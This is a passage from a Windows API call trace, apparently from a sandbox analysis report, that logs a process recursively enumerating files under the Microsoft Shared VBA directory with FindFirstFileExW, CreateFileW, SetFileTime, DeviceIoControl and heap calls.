dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.401] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.401] NtClose (Handle=0x178) returned 0x0 [0055.401] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.401] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0055.401] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.401] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0055.401] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0055.402] GetLastError () returned 0x12 [0055.402] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.402] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.402] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.402] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0055.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.402] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.402] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.402] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.402] NtClose (Handle=0x178) returned 0x0 [0055.402] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.403] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.403] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.403] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.403] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0055.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.403] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.403] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.403] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.403] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0055.403] GetLastError () returned 0x12 [0055.403] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.403] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.403] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.403] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.404] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0055.404] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0055.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.404] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0055.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.404] NtClose (Handle=0x178) returned 0x0 [0055.404] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3740 [0055.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee37c8 [0055.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3960 [0055.404] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0055.406] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.407] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0055.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04ce0 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03698 [0055.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.407] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04d00 [0055.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf03fe0 [0055.407] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04d20 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf040e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.408] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04d40 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf041f0 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04d60 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf042f8 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04d80 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf04400 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.409] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.409] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.410] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf04da0 [0055.410] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf04508 [0055.410] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0055.410] GetLastError () returned 0x12 [0055.410] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0055.410] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: 